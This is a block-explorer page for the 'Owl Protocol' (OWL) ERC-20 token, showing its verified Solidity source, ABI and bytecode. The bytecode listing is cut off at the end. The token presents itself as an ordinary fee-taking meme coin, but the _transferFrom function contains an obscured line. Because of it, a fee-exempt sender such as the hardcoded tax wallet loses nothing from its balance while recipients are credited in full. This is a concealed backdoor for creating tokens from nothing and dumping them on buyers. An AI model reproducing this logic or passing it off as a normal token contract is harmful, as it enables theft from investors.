Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 OWL
Holders
61
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,020,356.315549322 OWLValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
OWL
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-29 */ // SPDX-License-Identifier: MIT /* Owl is a suite of tools aimed to revolutionize the meme coin trading experience, while adding an alternative income stream directly. Website: https://www.owlprotocol.org Telegram: https://t.me/owl_portal Twitter: https://twitter.com/owlfi_erc */ pragma solidity 0.8.19; interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapFactory { function createPair(address tokenA, address tokenB) external returns (address uniswapPair); } contract OWL is ERC20, Ownable { using SafeMath for uint256; string constant _name = "Owl Protocol"; string constant _symbol = "OWL"; uint8 constant _decimals = 9; uint256 _tTotal = 1_000_000_000 * (10 ** _decimals); uint256 public _maxWallet = (_tTotal * 2) / 100; uint256 public _maxFeeSwap = (_tTotal * 1) / 10000; address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address DEAD = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isExemptFee; mapping (address => bool) isTxExempt; uint256 liquidityFee = 0; uint256 marketingFee = 1; uint256 totalFee = liquidityFee + marketingFee; uint256 denominator = 100; address private _taxWallet = 0xeed4F9eD888BE7cCF0c10fa76A3e9d47b3009684; IUniswapRouter public uniswapRouter; address public uniswapPair; bool public swapEnabled = true; uint256 public _taxSwapThreshold = _tTotal / 10000; // bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Ownable(msg.sender) { uniswapRouter = IUniswapRouter(routerAdress); uniswapPair = IUniswapFactory(uniswapRouter.factory()).createPair(uniswapRouter.WETH(), address(this)); _allowances[address(this)][address(uniswapRouter)] = type(uint256).max; address _owner = owner; isExemptFee[_taxWallet] = true; isTxExempt[_owner] = true; isTxExempt[_taxWallet] = true; isTxExempt[DEAD] = true; _balances[_owner] = _tTotal; emit Transfer(address(0), _owner, _tTotal); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function removeLimits() external onlyOwner { _maxWallet = _tTotal; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if (recipient != uniswapPair && recipient != DEAD) { require(isTxExempt[recipient] || _balances[recipient] + amount <= _maxWallet, "Transfer amount exceeds the bag size."); } if(shouldSwapBack() && recipient == uniswapPair && !isExemptFee[sender] && amount > _maxFeeSwap){ swapBack(); } uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount; uint256 amountSent = (!shouldTakeFee(sender) && _balances[sender] <= _maxWallet) ? amount - amountReceived: amount; _balances[sender] = _balances[sender].sub(amountSent, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function shouldSwapBack() internal view returns (bool) { return !inSwap && swapEnabled && _balances[address(this)] >= _taxSwapThreshold; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } event AutoLiquify(uint256 amountETH, uint256 amountBOG); function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function takeFee(address sender, uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(totalFee).div(denominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldTakeFee(address sender) internal view returns (bool) { return !isExemptFee[sender]; } function swapBack() internal swapping { uint256 contractTokenBalance = _taxSwapThreshold; uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); uint256 balanceBefore = address(this).balance; uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); (bool MarketingSuccess, /* bytes memory data */) = payable(_taxWallet).call{value: amountETHMarketing, gas: 30000}(""); require(MarketingSuccess, "receiver rejected ETH transfer"); if(amountToLiquify > 0){ uniswapRouter.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, 0x26B42fd301110B3e9784eBE4D13d3196e3DcdF57, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxFeeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620004a1565b6200002290633b9aca00620004b9565b60015560646001546002620000389190620004b9565b620000449190620004d3565b60025561271060015460016200005b9190620004b9565b620000679190620004d3565b600355600480546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556005805490911661dead1790556000600a8190556001600b819055620000b991620004f6565b600c556064600d55600e80546001600160a01b03191673eed4f9ed888be7ccf0c10fa76a3e9d47b30096841790556010805460ff60a01b1916600160a01b1790556001546200010c9061271090620004d3565b6011553480156200011c57600080fd5b5060008054336001600160a01b03199182161790915560048054600f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa15801562000187573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ad91906200050c565b6001600160a01b031663c9c65396600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200020f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023591906200050c565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af115801562000282573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a891906200050c565b601080546001600160a01b0319166001600160a01b03928316179055306000908152600760209081526040808320600f5485168452825280832060001990558254600e80548616855260088452828520805460ff199081166001908117909255928716808752600986528487208054851683179055915487168652838620805484168217905560055490961685528285208054909216861790915593548484526006835281842081905590519081528392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000537565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003e3578160001904821115620003c757620003c76200038c565b80851615620003d557918102915b93841c9390800290620003a7565b509250929050565b600082620003fc575060016200049b565b816200040b575060006200049b565b81600181146200042457600281146200042f576200044f565b60019150506200049b565b60ff8411156200044357620004436200038c565b50506001821b6200049b565b5060208310610133831016604e8410600b841016171562000474575081810a6200049b565b620004808383620003a2565b80600019048211156200049757620004976200038c565b0290505b92915050565b6000620004b260ff841683620003eb565b9392505050565b80820281158282048414176200049b576200049b6200038c565b600082620004f157634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200049b576200049b6200038c565b6000602082840312156200051f57600080fd5b81516001600160a01b0381168114620004b257600080fd5b6112db80620005476000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461032a578063a9059cbb14610356578063bf474bed14610376578063c816841b1461038c578063dd62ed3e146103ac57600080fd5b8063715018a614610292578063735de9f7146102a9578063751039fc146102e157806382247ec0146102f6578063893d20e81461030c57600080fd5b80632f54bf6e116100e75780632f54bf6e146101da578063313ce56714610209578063515c8db8146102255780636ddd17131461023b57806370a082311461025c57600080fd5b806306fdde0314610124578063095ea7b31461016b57806318160ddd1461019b57806323b872dd146101ba57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600c81526b13dddb08141c9bdd1bd8dbdb60a21b60208201525b6040516101629190611035565b60405180910390f35b34801561017757600080fd5b5061018b61018636600461109b565b6103f2565b6040519015158152602001610162565b3480156101a757600080fd5b506001545b604051908152602001610162565b3480156101c657600080fd5b5061018b6101d53660046110c7565b61045f565b3480156101e657600080fd5b5061018b6101f5366004611108565b6000546001600160a01b0391821691161490565b34801561021557600080fd5b5060405160098152602001610162565b34801561023157600080fd5b506101ac60035481565b34801561024757600080fd5b5060105461018b90600160a01b900460ff1681565b34801561026857600080fd5b506101ac610277366004611108565b6001600160a01b031660009081526006602052604090205490565b34801561029e57600080fd5b506102a7610521565b005b3480156102b557600080fd5b50600f546102c9906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b3480156102ed57600080fd5b506102a76105ae565b34801561030257600080fd5b506101ac60025481565b34801561031857600080fd5b506000546001600160a01b03166102c9565b34801561033657600080fd5b5060408051808201909152600381526213d5d360ea1b6020820152610155565b34801561036257600080fd5b5061018b61037136600461109b565b6105f9565b34801561038257600080fd5b506101ac60115481565b34801561039857600080fd5b506010546102c9906001600160a01b031681565b3480156103b857600080fd5b506101ac6103c7366004611125565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061044d9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526007602090815260408083203384529091528120546000191461050c576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526007825283812033825290915291909120546104e7918490610606565b6001600160a01b03851660009081526007602090815260408083203384529091529020555b610517848484610640565b90505b9392505050565b6000546001600160a01b031633146105695760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146105f15760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610560565b600154600255565b600061051a338484610640565b6000818484111561062a5760405162461bcd60e51b81526004016105609190611035565b5060006106378486611174565b95945050505050565b60125460009060ff161561066057610659848484610929565b905061051a565b6010546001600160a01b0384811691161480159061068c57506005546001600160a01b03848116911614155b15610737576001600160a01b03831660009081526009602052604090205460ff16806106dd57506002546001600160a01b0384166000908152600660205260409020546106da908490611187565b11155b6107375760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610560565b61073f610a0f565b801561075857506010546001600160a01b038481169116145b801561077d57506001600160a01b03841660009081526008602052604090205460ff16155b801561078a575060035482115b1561079757610797610a50565b6001600160a01b03841660009081526008602052604081205460ff16156107be57826107c8565b6107c88584610dfc565b905060006107ef866001600160a01b031660009081526008602052604090205460ff161590565b15801561081657506002546001600160a01b03871660009081526006602052604090205411155b610820578361082a565b61082a8285611174565b90506108928160405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b815250600660008a6001600160a01b03166001600160a01b03168152602001908152602001600020546106069092919063ffffffff16565b6001600160a01b0380881660009081526006602052604080822093909355908716815220546108c19083610ea2565b6001600160a01b0380871660008181526006602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109159086815260200190565b60405180910390a350600195945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260069091529182205461097a918490610606565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546109a99083610ea2565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109fd9086815260200190565b60405180910390a35060019392505050565b60125460009060ff16158015610a2e5750601054600160a01b900460ff165b8015610a4b57506011543060009081526006602052604090205410155b905090565b6012805460ff19166001179055601154600c54600a54600091610a8391600291610a7d9182908790610f01565b90610f83565b90506000610a918383610fc5565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610acb57610acb61119a565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4891906111b0565b81600181518110610b5b57610b5b61119a565b6001600160a01b039283166020918202929092010152600f5460405163791ac94760e01b81524792919091169063791ac94790610ba59086906000908790309042906004016111cd565b600060405180830381600087803b158015610bbf57600080fd5b505af1158015610bd3573d6000803e3d6000fd5b505050506000610bec8247610fc590919063ffffffff16565b90506000610c12610c096002600a54610f8390919063ffffffff16565b600c5490610fc5565b90506000610c346002610a7d84610a7d600a5488610f0190919063ffffffff16565b90506000610c5183610a7d600b5487610f0190919063ffffffff16565b600e546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d8060008114610ca8576040519150601f19603f3d011682016040523d82523d6000602084013e610cad565b606091505b5050905080610cfe5760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e7366657200006044820152606401610560565b8815610de657600f5460405163f305d71960e01b8152306004820152602481018b905260006044820181905260648201527326b42fd301110b3e9784ebe4d13d3196e3dcdf5760848201524260a48201526001600160a01b039091169063f305d71990859060c40160606040518083038185885af1158015610d84573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da9919061123e565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506012805460ff191690555050505050505050565b600080610e1a600d54610a7d600c5486610f0190919063ffffffff16565b30600090815260066020526040902054909150610e379082610ea2565b30600081815260066020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e889085815260200190565b60405180910390a3610e9a8382610fc5565b949350505050565b600080610eaf8385611187565b90508381101561051a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610560565b600082600003610f1357506000610459565b6000610f1f838561126c565b905082610f2c8583611283565b1461051a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610560565b600061051a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611007565b600061051a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610606565b600081836110285760405162461bcd60e51b81526004016105609190611035565b5060006106378486611283565b600060208083528351808285015260005b8181101561106257858101830151858201604001528201611046565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461109857600080fd5b50565b600080604083850312156110ae57600080fd5b82356110b981611083565b946020939093013593505050565b6000806000606084860312156110dc57600080fd5b83356110e781611083565b925060208401356110f781611083565b929592945050506040919091013590565b60006020828403121561111a57600080fd5b813561051a81611083565b6000806040838503121561113857600080fd5b823561114381611083565b9150602083013561115381611083565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156104595761045961115e565b808201808211156104595761045961115e565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111c257600080fd5b815161051a81611083565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561121d5784516001600160a01b0316835293830193918301916001016111f8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561125357600080fd5b8351925060208401519150604084015190509250925092565b80820281158282048414176104595761045961115e565b6000826112a057634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220c2bd34e1899cf7cf54c9596fd0e870bb51aa8258e4348ffdeb81cb7f8f3b511264736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461032a578063a9059cbb14610356578063bf474bed14610376578063c816841b1461038c578063dd62ed3e146103ac57600080fd5b8063715018a614610292578063735de9f7146102a9578063751039fc146102e157806382247ec0146102f6578063893d20e81461030c57600080fd5b80632f54bf6e116100e75780632f54bf6e146101da578063313ce56714610209578063515c8db8146102255780636ddd17131461023b57806370a082311461025c57600080fd5b806306fdde0314610124578063095ea7b31461016b57806318160ddd1461019b57806323b872dd146101ba57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600c81526b13dddb08141c9bdd1bd8dbdb60a21b60208201525b6040516101629190611035565b60405180910390f35b34801561017757600080fd5b5061018b61018636600461109b565b6103f2565b6040519015158152602001610162565b3480156101a757600080fd5b506001545b604051908152602001610162565b3480156101c657600080fd5b5061018b6101d53660046110c7565b61045f565b3480156101e657600080fd5b5061018b6101f5366004611108565b6000546001600160a01b0391821691161490565b34801561021557600080fd5b5060405160098152602001610162565b34801561023157600080fd5b506101ac60035481565b34801561024757600080fd5b5060105461018b90600160a01b900460ff1681565b34801561026857600080fd5b506101ac610277366004611108565b6001600160a01b031660009081526006602052604090205490565b34801561029e57600080fd5b506102a7610521565b005b3480156102b557600080fd5b50600f546102c9906001600160a01b031681565b6040516001600160a01b039091168152602001610162565b3480156102ed57600080fd5b506102a76105ae565b34801561030257600080fd5b506101ac60025481565b34801561031857600080fd5b506000546001600160a01b03166102c9565b34801561033657600080fd5b5060408051808201909152600381526213d5d360ea1b6020820152610155565b34801561036257600080fd5b5061018b61037136600461109b565b6105f9565b34801561038257600080fd5b506101ac60115481565b34801561039857600080fd5b506010546102c9906001600160a01b031681565b3480156103b857600080fd5b506101ac6103c7366004611125565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061044d9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b03831660009081526007602090815260408083203384529091528120546000191461050c576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526007825283812033825290915291909120546104e7918490610606565b6001600160a01b03851660009081526007602090815260408083203384529091529020555b610517848484610640565b90505b9392505050565b6000546001600160a01b031633146105695760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146105f15760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610560565b600154600255565b600061051a338484610640565b6000818484111561062a5760405162461bcd60e51b81526004016105609190611035565b5060006106378486611174565b95945050505050565b60125460009060ff161561066057610659848484610929565b905061051a565b6010546001600160a01b0384811691161480159061068c57506005546001600160a01b03848116911614155b15610737576001600160a01b03831660009081526009602052604090205460ff16806106dd57506002546001600160a01b0384166000908152600660205260409020546106da908490611187565b11155b6107375760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610560565b61073f610a0f565b801561075857506010546001600160a01b038481169116145b801561077d57506001600160a01b03841660009081526008602052604090205460ff16155b801561078a575060035482115b1561079757610797610a50565b6001600160a01b03841660009081526008602052604081205460ff16156107be57826107c8565b6107c88584610dfc565b905060006107ef866001600160a01b031660009081526008602052604090205460ff161590565b15801561081657506002546001600160a01b03871660009081526006602052604090205411155b610820578361082a565b61082a8285611174565b90506108928160405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b815250600660008a6001600160a01b03166001600160a01b03168152602001908152602001600020546106069092919063ffffffff16565b6001600160a01b0380881660009081526006602052604080822093909355908716815220546108c19083610ea2565b6001600160a01b0380871660008181526006602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109159086815260200190565b60405180910390a350600195945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260069091529182205461097a918490610606565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546109a99083610ea2565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109fd9086815260200190565b60405180910390a35060019392505050565b60125460009060ff16158015610a2e5750601054600160a01b900460ff165b8015610a4b57506011543060009081526006602052604090205410155b905090565b6012805460ff19166001179055601154600c54600a54600091610a8391600291610a7d9182908790610f01565b90610f83565b90506000610a918383610fc5565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610acb57610acb61119a565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4891906111b0565b81600181518110610b5b57610b5b61119a565b6001600160a01b039283166020918202929092010152600f5460405163791ac94760e01b81524792919091169063791ac94790610ba59086906000908790309042906004016111cd565b600060405180830381600087803b158015610bbf57600080fd5b505af1158015610bd3573d6000803e3d6000fd5b505050506000610bec8247610fc590919063ffffffff16565b90506000610c12610c096002600a54610f8390919063ffffffff16565b600c5490610fc5565b90506000610c346002610a7d84610a7d600a5488610f0190919063ffffffff16565b90506000610c5183610a7d600b5487610f0190919063ffffffff16565b600e546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d8060008114610ca8576040519150601f19603f3d011682016040523d82523d6000602084013e610cad565b606091505b5050905080610cfe5760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e7366657200006044820152606401610560565b8815610de657600f5460405163f305d71960e01b8152306004820152602481018b905260006044820181905260648201527326b42fd301110b3e9784ebe4d13d3196e3dcdf5760848201524260a48201526001600160a01b039091169063f305d71990859060c40160606040518083038185885af1158015610d84573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da9919061123e565b505060408051858152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506012805460ff191690555050505050505050565b600080610e1a600d54610a7d600c5486610f0190919063ffffffff16565b30600090815260066020526040902054909150610e379082610ea2565b30600081815260066020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e889085815260200190565b60405180910390a3610e9a8382610fc5565b949350505050565b600080610eaf8385611187565b90508381101561051a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610560565b600082600003610f1357506000610459565b6000610f1f838561126c565b905082610f2c8583611283565b1461051a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610560565b600061051a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611007565b600061051a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610606565b600081836110285760405162461bcd60e51b815260040161056091906110